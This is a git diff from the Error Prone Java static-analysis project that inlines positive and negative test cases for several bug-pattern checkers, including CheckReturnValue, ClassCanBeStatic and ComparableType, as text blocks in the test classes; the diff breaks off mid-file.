ClassRatherThanPrimitive { + ClassRatherThanPrimitive(String foo, boolean bar) {} + + ClassRatherThanPrimitive(String foo) { + // BUG: Diagnostic contains: this(foo, false) + this("default", false); + } + } + + static class CallerBeforeCallee { + CallerBeforeCallee(String foo) { + // BUG: Diagnostic contains: this(foo, false) + this("default", false); + } + + CallerBeforeCallee(String foo, boolean bar) {} + } + + static class AssignableButNotEqual { + AssignableButNotEqual(Object foo, boolean bar) {} + + AssignableButNotEqual(String foo) { + // BUG: Diagnostic contains: this(foo, false) + this("default", false); + } + } + + static class HasNestedClassCallerFirst { + HasNestedClassCallerFirst(String foo) { + // BUG: Diagnostic contains: this(foo, false) + this("somethingElse", false); + } + + static class NestedClass {} + + HasNestedClassCallerFirst(String foo, boolean bar) {} + } + + static class HasNestedClassCalleeFirst { + HasNestedClassCalleeFirst(String foo, boolean bar) {} + + static class NestedClass {} + + HasNestedClassCalleeFirst(String foo) { + // BUG: Diagnostic contains: this(foo, false) + this("somethingElse", false); + } + } + + static class MultipleQueuedErrors { + MultipleQueuedErrors(Location target) { + // BUG: Diagnostic contains: this(target, false) + this(TEST_TARGET, false); + } + + MultipleQueuedErrors(boolean askForConfirmation) { + // BUG: Diagnostic contains: this(TEST_TARGET, askForConfirmation) + this(TEST_TARGET, false); + } + + MultipleQueuedErrors(Location target, boolean askForConfirmation) {} + } + + enum Location { + TEST_TARGET + } +}""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/ChainingConstructorIgnoresParameterNegativeCases.java") + .addSourceLines( + "ChainingConstructorIgnoresParameterNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.io.File; + +/** + * @author cpovirk@google.com (Chris Povirk) + */ +public class ChainingConstructorIgnoresParameterNegativeCases { + static class ImplicitThisCall { + ImplicitThisCall() {} + + ImplicitThisCall(String foo) {} + } + + static class ExplicitNoArgThisCall { + ExplicitNoArgThisCall() {} + + ExplicitNoArgThisCall(String foo) { + this(); + } + } + + static class ParameterNotAvailable { + ParameterNotAvailable(String foo, boolean bar) {} + + ParameterNotAvailable(String foo) { + this(foo, false); + } + } + + static class ParameterDifferentType { + ParameterDifferentType(File foo) {} + + ParameterDifferentType(String foo) { + this(new File("/tmp")); + } + } + + static class ParameterUsedInExpression { + ParameterUsedInExpression(String foo, boolean bar) {} + + ParameterUsedInExpression(String foo) { + this(foo.substring(0), false); + } + } + + /** Make sure that we don't confuse a nested class's constructor with the containing class's. */ + static class HasNestedClass { + HasNestedClass(String foo) { + this("somethingElse", false); + } + + static class NestedClass { + NestedClass(String foo, boolean bar) {} + } + + HasNestedClass(String notFoo, boolean bar) {} + } + + static class HasNestedClassesWithSameName { + static class Outer1 { + static class Inner { + Inner(String foo, boolean bar) {} + } + } + + static class Outer2 { + static class Inner { + Inner(String foo) { + this("somethingElse", false); + } + + Inner(String notFoo, boolean bar) {} + } + } + } + + class NonStaticClass { + NonStaticClass(String foo, boolean bar) {} + + NonStaticClass(String foo) { + this(foo, false); + } + } + + static class Varargs1 { + Varargs1(String foo, boolean... bar) {} + + Varargs1() { + this("something", false, false); + } + } + + static class Varargs2 { + Varargs2(String foo, boolean... bar) {} + + Varargs2() { + this("something"); + } + } +}""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/CheckReturnValueTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/CheckReturnValueTest.java index 22abdb7d2e7..8dd9d36d324 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/CheckReturnValueTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/CheckReturnValueTest.java @@ -47,7 +47,190 @@ public class CheckReturnValueTest { @Test public void positiveCases() { - compilationHelper.addSourceFile("testdata/CheckReturnValuePositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "CheckReturnValuePositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.errorprone.annotations.CheckReturnValue; +import org.junit.rules.ExpectedException; + +/** + * @author eaftan@google.com (Eddie Aftandilian) + */ +public class CheckReturnValuePositiveCases { + + IntValue intValue = new IntValue(0); + + @CheckReturnValue + private int increment(int bar) { + return bar + 1; + } + + public void foo() { + int i = 1; + // BUG: Diagnostic contains: The result of `increment(...)` must be used + // + // If you really don't want to use the result, then assign it to a variable: `var unused = ...`. + // + // If callers of `increment(...)` shouldn't be required to use its result, then annotate it with + // `@CanIgnoreReturnValue`. + increment(i); + System.out.println(i); + } + + public void bar() { + // BUG: Diagnostic contains: this.intValue = this.intValue.increment() + this.intValue.increment(); + } + + public void testIntValue() { + IntValue value = new IntValue(10); + // BUG: Diagnostic contains: value = value.increment() + value.increment(); + } + + private void callRunnable(Runnable runnable) { + runnable.run(); + } + + public void testResolvedToVoidLambda() { + // BUG: Diagnostic contains: + callRunnable(() -> this.intValue.increment()); + } + + public void testResolvedToVoidMethodReference(boolean predicate) { + // BUG: Diagnostic contains: The result of `increment()` must be used + // + // `this.intValue::increment` acts as an implementation of `Runnable.run` + // -- which is a `void` method, so it doesn't use the result of `increment()`. + // + // To use the result, you may need to restructure your code. + // + // If you really don't want to use the result, then switch to a lambda that assigns it to a + // variable: `() -> { var unused = ...; }`. + // + // If callers of `increment()` shouldn't be required to use its result, then annotate it with + // `@CanIgnoreReturnValue`. + callRunnable(this.intValue::increment); + // BUG: Diagnostic contains: The result of `increment()` must be used + callRunnable(predicate ? this.intValue::increment : this.intValue::increment2); + } + + public void testConstructorResolvedToVoidMethodReference() { + // BUG: Diagnostic contains: The result of `new MyObject()` must be used + // + // `MyObject::new` acts as an implementation of `Runnable.run` + // -- which is a `void` method, so it doesn't use the result of `new MyObject()`. + // + // To use the result, you may need to restructure your code. + // + // If you really don't want to use the result, then switch to a lambda that assigns it to a + // variable: `() -> { var unused = ...; }`. + // + // If callers of `MyObject()` shouldn't be required to use its result, then annotate it with + // `@CanIgnoreReturnValue`. + callRunnable(MyObject::new); + } + + public void testRegularLambda() { + callRunnable( + () -> { + // BUG: Diagnostic contains: + this.intValue.increment(); + }); + } + + public void testBeforeAndAfterRule() { + // BUG: Diagnostic contains: + new IntValue(1).increment(); + ExpectedException.none().expect(IllegalStateException.class); + new IntValue(1).increment(); // No error here, last statement in block + } + + public void constructor() { + // BUG: Diagnostic contains: The result of `new MyObject()` must be used + new MyObject() {}; + + class MySubObject1 extends MyObject {} + + class MySubObject2 extends MyObject { + MySubObject2() {} + } + + class MySubObject3 extends MyObject { + MySubObject3() { + super(); + } + } + + // BUG: Diagnostic contains: The result of `new MyObject()` must be used + // + // If you really don't want to use the result, then assign it to a variable: `var unused = ...`. + // + // If callers of `MyObject()` shouldn't be required to use its result, then annotate it with + // `@CanIgnoreReturnValue`. + new MyObject(); + } + + private class IntValue { + final int i; + + public IntValue(int i) { + this.i = i; + } + + @javax.annotation.CheckReturnValue + public IntValue increment() { + return new IntValue(i + 1); + } + + public void increment2() { + // BUG: Diagnostic contains: + this.increment(); + } + + public void increment3() { + // BUG: Diagnostic contains: + increment(); + } + } + + private static class MyObject { + @CheckReturnValue + MyObject() {} + } + + private abstract static class LB1 {} + + private static class LB2 extends LB1 { + + @CheckReturnValue + public static LB2 lb1() { + return new LB2(); + } + + public static LB2 lb2() { + // BUG: Diagnostic contains: + lb1(); + return lb1(); + } + } + + private static class JavaxAnnotation { + @javax.annotation.CheckReturnValue + public static int check() { + return 1; + } + + public static void ignoresCheck() { + // BUG: Diagnostic contains: + check(); + } + } +}""") + .doTest(); } @Test @@ -108,7 +291,64 @@ public void doIt() { @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/CheckReturnValueNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "CheckReturnValueNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.errorprone.annotations.CheckReturnValue; + import java.util.function.Supplier; + + /** + * @author eaftan@google.com (Eddie Aftandilian) + */ + public class CheckReturnValueNegativeCases { + + public void test1() { + test2(); + Object obj = new String(); + obj.toString(); + } + + @SuppressWarnings("foo") // wrong annotation + public void test2() {} + + @CheckReturnValue + private int mustCheck() { + return 5; + } + + private int nothingToCheck() { + return 42; + } + + private void callRunnable(Runnable runnable) { + runnable.run(); + } + + private void testNonCheckedCallsWithMethodReferences() { + Object obj = new String(); + callRunnable(String::new); + callRunnable(this::test2); + callRunnable(obj::toString); + } + + private void callSupplier(Supplier supplier) { + supplier.get(); + } + + public void testResolvedToIntLambda(boolean predicate) { + callSupplier(() -> mustCheck()); + callSupplier(predicate ? () -> mustCheck() : () -> nothingToCheck()); + } + + public void testMethodReference(boolean predicate) { + callSupplier(this::mustCheck); + callSupplier(predicate ? this::mustCheck : this::nothingToCheck); + } + }""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ClassCanBeStaticTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ClassCanBeStaticTest.java index d67daf15217..04eb27e00be 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ClassCanBeStaticTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ClassCanBeStaticTest.java @@ -33,24 +33,168 @@ public class ClassCanBeStaticTest { @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/ClassCanBeStaticNegativeCases.java") + .addSourceLines( + "ClassCanBeStaticNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author alexloh@google.com (Alex Loh) + */ + public class ClassCanBeStaticNegativeCases { + int outerVar; + + public int outerMethod() { + return 0; + } + + public static class Inner1 { // inner class already static + int innerVar; + } + + public class Inner2 { // inner class references an outer variable + int innerVar = outerVar; + } + + public class Inner3 { // inner class references an outer variable in a method + int localMethod() { + return outerVar; + } + } + + public class Inner4 { // inner class references an outer method in a method + int localMethod() { + return outerMethod(); + } + } + + // outer class is a nested but non-static, and thus cannot have a static class + class NonStaticOuter { + int nonStaticVar = outerVar; + + class Inner5 {} + } + + // inner class is local and thus cannot be static + void foo() { + class Inner6 {} + } + + // inner class is anonymous and thus cannot be static + Object bar() { + return new Object() {}; + } + + // enums are already static + enum Inner7 { + RED, + BLUE, + VIOLET, + } + + // outer class is a nested but non-static, and thus cannot have a static class + void baz() { + class NonStaticOuter2 { + int nonStaticVar = outerVar; + + class Inner8 {} + } + } + + // inner class references a method from inheritance + public interface OuterInter { + int outerInterMethod(); + } + + abstract static class AbstractOuter implements OuterInter { + class Inner8 { + int localMethod() { + return outerInterMethod(); + } + } + } + }""") .setArgs("--release", "11") .doTest(); } @Test public void positiveCase1() { - compilationHelper.addSourceFile("testdata/ClassCanBeStaticPositiveCase1.java").doTest(); + compilationHelper + .addSourceLines( + "ClassCanBeStaticPositiveCase1.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author alexloh@google.com (Alex Loh) + */ + public class ClassCanBeStaticPositiveCase1 { + + int outerVar; + + // Non-static inner class that does not use outer scope + // BUG: Diagnostic contains: static class Inner1 + class Inner1 { + int innerVar; + } + }""") + .doTest(); } @Test public void positiveCase2() { - compilationHelper.addSourceFile("testdata/ClassCanBeStaticPositiveCase2.java").doTest(); + compilationHelper + .addSourceLines( + "ClassCanBeStaticPositiveCase2.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author alexloh@google.com (Alex Loh) + */ + public class ClassCanBeStaticPositiveCase2 { + + int outerVar1; + int outerVar2; + + // Outer variable overridden + // BUG: Diagnostic contains: private /* COMMENT */ static final class Inner2 + private /* COMMENT */ final class Inner2 { + int outerVar1; + int innerVar = outerVar1; + + int localMethod(int outerVar2) { + return outerVar2; + } + } + }""") + .doTest(); } @Test public void positiveCase3() { - compilationHelper.addSourceFile("testdata/ClassCanBeStaticPositiveCase3.java").doTest(); + compilationHelper + .addSourceLines( + "ClassCanBeStaticPositiveCase3.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author alexloh@google.com (Alex Loh) + */ + public class ClassCanBeStaticPositiveCase3 { + + static int outerVar; + + // Nested non-static inner class inside a static inner class + static class NonStaticOuter { + int nonStaticVar = outerVar; + // BUG: Diagnostic contains: public static class Inner3 + public class Inner3 {} + } + }""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/CollectionToArraySafeParameterTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/CollectionToArraySafeParameterTest.java index caac3f2bee9..83db1c94113 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/CollectionToArraySafeParameterTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/CollectionToArraySafeParameterTest.java @@ -31,14 +31,117 @@ public class CollectionToArraySafeParameterTest { @Test public void positiveCases() { compilationHelper - .addSourceFile("testdata/CollectionToArraySafeParameterPositiveCases.java") + .addSourceLines( + "CollectionToArraySafeParameterPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.ArrayList; + import java.util.Collection; + import java.util.HashSet; + import java.util.Set; + + /** + * @author mariasam@google.com (Maria Sam) on 6/27/17. + */ + public class CollectionToArraySafeParameterPositiveCases { + + private static void basicCase() { + Collection collection = new ArrayList(); + // BUG: Diagnostic contains: array parameter + Integer[] intArray = collection.toArray(new Integer[collection.size()]); + + Integer[] arrayOfInts = new Integer[10]; + // BUG: Diagnostic contains: array parameter + Integer[] wrongArray = collection.toArray(arrayOfInts); + + Set integerSet = new HashSet(); + // BUG: Diagnostic contains: array parameter + Long[] longArray = integerSet.toArray(new Long[10]); + + Set longSet = new HashSet(); + // BUG: Diagnostic contains: array parameter + Integer[] integerArray = longSet.toArray(new Integer[10]); + } + + void test(Foo foo) { + // BUG: Diagnostic contains: array parameter + String[] things = foo.toArray(new String[] {}); + } + + void test(FooBar foo) { + // BUG: Diagnostic contains: array parameter + Integer[] things = foo.toArray(new Integer[] {}); + } + + class FooBar extends HashSet {} + + class Foo extends HashSet {} + }""") .doTest(); } @Test public void negativeCases() { compilationHelper - .addSourceFile("testdata/CollectionToArraySafeParameterNegativeCases.java") + .addSourceLines( + "CollectionToArraySafeParameterNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.util.ArrayList; +import java.util.Collection; +import java.util.HashSet; + +/** + * @author mariasam@google.com (Maria Sam) on 6/27/17. + */ +public class CollectionToArraySafeParameterNegativeCases { + + private void basicCase() { + Collection collection = new ArrayList(); + Collection collInts = new ArrayList(); + + Object[] intArrayActualNoParam = collInts.toArray(); + Integer[] intArrayActual = collInts.toArray(new Integer[collection.size()]); + + Collection collectionObjects = new ArrayList<>(); + Integer[] intArrayObjects = collectionObjects.toArray(new Integer[collectionObjects.size()]); + + Integer[] arrayOfInts = new Integer[10]; + Integer[] otherArray = collInts.toArray(arrayOfInts); + + Collection> collectionOfCollection = new ArrayList>(); + Collection[] collectionOfCollectionArray = + collectionOfCollection.toArray(new ArrayList[10]); + + SomeObject someObject = new SomeObject(); + Integer[] someObjectArray = someObject.toArray(new Integer[1]); + + // test to make sure that when the collection has no explicit type there is no error thrown + // when "toArray" is called. + Collection someObjects = new ArrayList(); + Object[] intArray = someObjects.toArray(new Integer[1]); + } + + class FooBar extends HashSet {} + + void testFooBar(FooBar fooBar) { + Integer[] things = fooBar.toArray(new Integer[] {}); + } + + class Foo extends HashSet {} + + void test(Foo foo) { + String[] things = foo.toArray(new String[] {}); + } + + class SomeObject { + Integer[] toArray(Integer[] someArray) { + return new Integer[10]; + } + } +}""") .doTest(); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/CollectorShouldNotUseStateTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/CollectorShouldNotUseStateTest.java index 150bfc495c0..687ffb869e1 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/CollectorShouldNotUseStateTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/CollectorShouldNotUseStateTest.java @@ -31,14 +31,102 @@ public class CollectorShouldNotUseStateTest { @Test public void positiveCases() { compilationHelper - .addSourceFile("testdata/CollectorShouldNotUseStatePositiveCases.java") + .addSourceLines( + "CollectorShouldNotUseStatePositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.common.collect.ImmutableList; + import com.google.common.collect.ImmutableList.Builder; + import java.util.function.BiConsumer; + import java.util.stream.Collector; + + /** + * @author sulku@google.com (Marsela Sulku) + */ + public class CollectorShouldNotUseStatePositiveCases { + public void test() { + // BUG: Diagnostic contains: Collector.of() should not use state + Collector.of( + ImmutableList::builder, + new BiConsumer, Object>() { + + boolean isFirst = true; + private static final String bob = "bob"; + + @Override + public void accept(Builder objectBuilder, Object o) { + if (isFirst) { + System.out.println("it's first"); + } else { + objectBuilder.add(o); + } + } + }, + (left, right) -> left.addAll(right.build()), + ImmutableList.Builder::build); + + // BUG: Diagnostic contains: Collector.of() should not use state + Collector.of( + ImmutableList::builder, + new BiConsumer, Object>() { + + boolean isFirst = true; + private final String bob = "bob"; + private final String joe = "joe"; + + @Override + public void accept(Builder objectBuilder, Object o) { + if (isFirst) { + System.out.println("it's first"); + } else { + objectBuilder.add(o); + } + } + }, + (left, right) -> left.addAll(right.build()), + ImmutableList.Builder::build); + } + }""") .doTest(); } @Test public void negativeCases() { compilationHelper - .addSourceFile("testdata/CollectorShouldNotUseStateNegativeCases.java") + .addSourceLines( + "CollectorShouldNotUseStateNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.common.collect.ImmutableList; + import com.google.common.collect.ImmutableList.Builder; + import java.util.function.BiConsumer; + import java.util.stream.Collector; + + /** + * @author sulku@google.com (Marsela Sulku) + */ + public class CollectorShouldNotUseStateNegativeCases { + public void test() { + Collector.of( + ImmutableList::builder, + new BiConsumer, Object>() { + private static final String bob = "bob"; + + @Override + public void accept(Builder objectBuilder, Object o) { + if (bob.equals("bob")) { + System.out.println("bob"); + } else { + objectBuilder.add(o); + } + } + }, + (left, right) -> left.addAll(right.build()), + ImmutableList.Builder::build); + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ComparableAndComparatorTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ComparableAndComparatorTest.java index 8fc918bea94..353f8aae6a3 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ComparableAndComparatorTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ComparableAndComparatorTest.java @@ -31,11 +31,137 @@ public class ComparableAndComparatorTest { @Test public void positive() { - compilationHelper.addSourceFile("testdata/ComparableAndComparatorPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "ComparableAndComparatorPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.Comparator; + + /** + * @author sulku@google.com (Marsela Sulku) + * @author mariasam@google.com (Maria Sam) + */ + public class ComparableAndComparatorPositiveCases { + + /** implements both interfaces */ + // BUG: Diagnostic contains: Class should not implement both + public static class BadClass implements Comparable, Comparator { + @Override + public int compareTo(BadClass comparableNode) { + return 0; + } + + @Override + public int compare(BadClass a, BadClass b) { + return 0; + } + } + + /** Superclass test class */ + public static class SuperClass implements Comparator { + @Override + public int compare(SuperClass o1, SuperClass o2) { + return 0; + } + } + + /** SubClass test class */ + // BUG: Diagnostic contains: Class should not implement both + public static class SubClass extends SuperClass implements Comparable { + @Override + public int compareTo(SubClass o) { + return 0; + } + } + }""") + .doTest(); } @Test public void negative() { - compilationHelper.addSourceFile("testdata/ComparableAndComparatorNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "ComparableAndComparatorNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.util.Comparator; + +/** Created by mariasam on 6/5/17. */ +public class ComparableAndComparatorNegativeCases { + + /** Class that implements comparable, but also defines a comparator */ + public static class ComparableAndComparatorNested + implements Comparable { + + /** Comparator */ + private static final Comparator myComparator = + new Comparator() { + + @Override + public int compare(ComparableAndComparatorNested o1, ComparableAndComparatorNested o2) { + return 0; + } + }; + + @Override + public int compareTo(ComparableAndComparatorNested o) { + return 0; + } + } + + /** class that only implements comparable */ + public static class OnlyComparable implements Comparable { + + @Override + public int compareTo(OnlyComparable o) { + return 0; + } + } + + /** class that only implements comparator */ + public static class OnlyComparator implements Comparator { + @Override + public int compare(OnlyComparator o1, OnlyComparator o2) { + return 0; + } + } + + /** This test case is here to increase readability */ + // BUG: Diagnostic contains: Class should not implement both + public static class BadClass implements Comparable, Comparator { + @Override + public int compareTo(BadClass comparableNode) { + return 0; + } + + @Override + public int compare(BadClass a, BadClass b) { + return 0; + } + } + + /** Subclass should not cause error */ + public static class BadClassSubclass extends BadClass { + public int sampleMethod() { + return 0; + } + } + + /** Enums implementing comparator are ok */ + enum TestEnum implements Comparator { + MONDAY, + TUESDAY, + WEDNESDAY; + + @Override + public int compare(Integer one, Integer two) { + return 0; + } + } +}""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ComparableTypeTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ComparableTypeTest.java index 44b35dc3c0c..cce753effe1 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ComparableTypeTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ComparableTypeTest.java @@ -28,11 +28,234 @@ public class ComparableTypeTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/ComparableTypePositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "ComparableTypePositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.io.Serializable; +import java.util.Comparator; + +public class ComparableTypePositiveCases { + + // BUG: Diagnostic contains: [ComparableType] + public static class CompareClass implements Comparable { + + @Override + public int compareTo(Integer o) { + return 0; + } + } + + // BUG: Diagnostic contains: [ComparableType] + public static class SerializableComparable implements Serializable, Comparable { + + @Override + public int compareTo(Long o) { + return 0; + } + } + + // BUG: Diagnostic contains: [ComparableType] + public static class ComparableSerializable implements Comparable, Serializable { + + @Override + public int compareTo(Long o) { + return 0; + } + } + + // BUG: Diagnostic contains: [ComparableType] + public static class BadClass implements Comparable, Comparator { + + @Override + public int compareTo(Double o) { + return 0; + } + + @Override + public int compare(Double o1, Double o2) { + return 0; + } + } + + // BUG: Diagnostic contains: [ComparableType] + public static class AnotherBadClass implements Comparator, Comparable { + + @Override + public int compareTo(Double o) { + return 0; + } + + @Override + public int compare(Double o1, Double o2) { + return 0; + } + } + + public static class A {} + + public static class B extends A {} + + // BUG: Diagnostic contains: [ComparableType] + public static class C extends A implements Comparable { + + @Override + public int compareTo(B o) { + return 0; + } + } + + interface Foo {} + + // BUG: Diagnostic contains: [ComparableType] + static final class Open implements Comparable { + @Override + public int compareTo(Foo o) { + return 0; + } + } + + // BUG: Diagnostic contains: [ComparableType] + public abstract static class AClass implements Comparable {} + + public static class BClass extends AClass { + @Override + public int compareTo(Integer o) { + return 0; + } + } + + // found via flume + public static class SpendXGetYValues { + public Comparable yToXRatio() { + // BUG: Diagnostic contains: [ComparableType] + return new Comparable() { + @Override + public int compareTo(SpendXGetYValues other) { + return 0; + } + }; + } + } + + // BUG: Diagnostic contains: [ComparableType] + public abstract static class One implements Comparable {} + + public static class Two extends One { + @Override + public int compareTo(Integer o) { + return 0; + } + } +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/ComparableTypeNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "ComparableTypeNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.io.Serializable; +import java.util.Comparator; + +public class ComparableTypeNegativeCases { + + /** Class that implements comparable, with castable type */ + public static class ComparableTypeNegative implements Comparable { + + @Override + public int compareTo(ComparableTypeNegative o) { + return 0; + } + } + + /** abstract class that implements comparable */ + public abstract static class OnlyComparable implements Comparable {} + + /** class that implements comparable and something else like Serializable */ + public static class SerializableComparable + implements Serializable, Comparable { + + @Override + public int compareTo(SerializableComparable o) { + return 0; + } + } + + /** class that implements comparable and something else with a type */ + public static class SomeClass implements Comparable, Comparator { + @Override + public int compareTo(SomeClass comparableNode) { + return 0; + } + + @Override + public int compare(SomeClass a, SomeClass b) { + return 0; + } + } + + // Example interfaces + interface Door {} + + public static class HalfOpen implements Door {} + + // BUG: Diagnostic contains: [ComparableType] + static final class Open extends HalfOpen implements Comparable { + @Override + public int compareTo(Door o) { + return 0; + } + } + + public static class A {} + + // BUG: Diagnostic contains: [ComparableType] + public static class B extends A implements Comparable { + + @Override + public int compareTo(A o) { + return 0; + } + } + + // ignore enums + enum Location { + TEST_TARGET + } + + public abstract static class AClass implements Comparable {} + + public static class BClass extends AClass { + @Override + public int compareTo(AClass o) { + return 0; + } + } + + abstract class Foo implements Comparable> {} + + class T extends Foo { + public int compareTo(Foo o) { + return 0; + } + } + + // BUG: Diagnostic contains: [ComparableType] + static final class XGram implements Comparable { + + @Override + public int compareTo(Object o) { + return 0; + } + } +}""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ComparisonContractViolatedTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ComparisonContractViolatedTest.java index c5ed68e4cc2..d2c421320a9 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ComparisonContractViolatedTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ComparisonContractViolatedTest.java @@ -32,14 +32,154 @@ public class ComparisonContractViolatedTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/ComparisonContractViolatedPositiveCases.java") + .addSourceLines( + "ComparisonContractViolatedPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.Comparator; + + public class ComparisonContractViolatedPositiveCases { + + static final int POSITIVE_CONSTANT = 50; + + static class Struct { + int intField; + long longField; + + @Override + public boolean equals(Object o) { + return o instanceof Struct + && intField == ((Struct) o).intField + && longField == ((Struct) o).longField; + } + + @Override + public int hashCode() { + return intField + (int) longField; + } + } + + static final Comparator intComparisonNoZero1 = + new Comparator() { + @Override + public int compare(Struct left, Struct right) { + // BUG: Diagnostic contains: Integer.compare(left.intField, right.intField) + return (left.intField < right.intField) ? -1 : 1; + } + }; + + static final Comparator intComparisonNoZero2 = + new Comparator() { + @Override + public int compare(Struct left, Struct right) { + // BUG: Diagnostic contains: Integer.compare(left.intField, right.intField) + return (right.intField < left.intField) ? 1 : -1; + } + }; + + static final Comparator intComparisonNoZero3 = + new Comparator() { + @Override + public int compare(Struct left, Struct right) { + // BUG: Diagnostic contains: Integer.compare(left.intField, right.intField) + return (left.intField > right.intField) ? 1 : -1; + } + }; + + static final Comparator intComparisonNoZero4 = + new Comparator() { + @Override + public int compare(Struct left, Struct right) { + // BUG: Diagnostic contains: Integer.compare(left.intField, right.intField) + return (left.intField <= right.intField) ? -1 : 1; + } + }; + + static final Comparator longComparisonNoZero1 = + new Comparator() { + @Override + public int compare(Struct left, Struct right) { + // BUG: Diagnostic contains: Long.compare(left.longField, right.longField) + return (left.longField < right.longField) ? -1 : 1; + } + }; + + static final Comparator longComparisonNoZero2 = + new Comparator() { + @Override + public int compare(Struct left, Struct right) { + // BUG: Diagnostic contains: Long.compare(left.longField, right.longField) + return (left.longField < right.longField) ? -1 : POSITIVE_CONSTANT; + } + }; + + static final Comparator zeroOrOneComparator = + new Comparator() { + + @Override + // BUG: Diagnostic contains: violates the contract + public int compare(Struct o1, Struct o2) { + return o1.equals(o2) ? 0 : 1; + } + }; + + static final Comparator zeroOrNegativeOneComparator = + new Comparator() { + + @Override + // BUG: Diagnostic contains: violates the contract + public int compare(Struct o1, Struct o2) { + return o1.equals(o2) ? 0 : -1; + } + }; + + static final Comparator zeroOrPositiveConstantComparator = + new Comparator() { + + @Override + // BUG: Diagnostic contains: violates the contract + public int compare(Struct o1, Struct o2) { + return o1.equals(o2) ? 0 : POSITIVE_CONSTANT; + } + }; + }""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/ComparisonContractViolatedNegativeCases.java") + .addSourceLines( + "ComparisonContractViolatedNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + public class ComparisonContractViolatedNegativeCases { + abstract static class IntOrInfinity implements Comparable {} + + static class IntOrInfinityInt extends IntOrInfinity { + private final int value; + + IntOrInfinityInt(int value) { + this.value = value; + } + + @Override + public int compareTo(IntOrInfinity o) { + return (o instanceof IntOrInfinityInt) + ? Integer.compare(value, ((IntOrInfinityInt) o).value) + : 1; + } + } + + static class NegativeInfinity extends IntOrInfinity { + @Override + public int compareTo(IntOrInfinity o) { + return (o instanceof NegativeInfinity) ? 0 : -1; + } + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ComparisonOutOfRangeTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ComparisonOutOfRangeTest.java index 299f3825dcb..59e1ccdb51c 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ComparisonOutOfRangeTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ComparisonOutOfRangeTest.java @@ -32,11 +32,252 @@ public class ComparisonOutOfRangeTest { @Test public void positiveCases() { - compilationHelper.addSourceFile("testdata/ComparisonOutOfRangePositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "ComparisonOutOfRangePositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.io.IOException; + import java.io.Reader; + import java.util.function.Supplier; + + /** + * @author Bill Pugh (bill.pugh@gmail.com) + */ + class ComparisonOutOfRangePositiveCases { + private static final int NOT_A_BYTE = 255; + + void byteEquality() { + boolean result; + byte b = 0; + byte[] barr = {1, 2, 3}; + + // BUG: Diagnostic contains: b == -1 + result = b == 255; + // BUG: Diagnostic contains: b == 1 + result = b == -255; + // BUG: Diagnostic contains: b == -128 + result = b == 128; + // BUG: Diagnostic contains: b != -1 + result = b != 255; + + // BUG: Diagnostic contains: 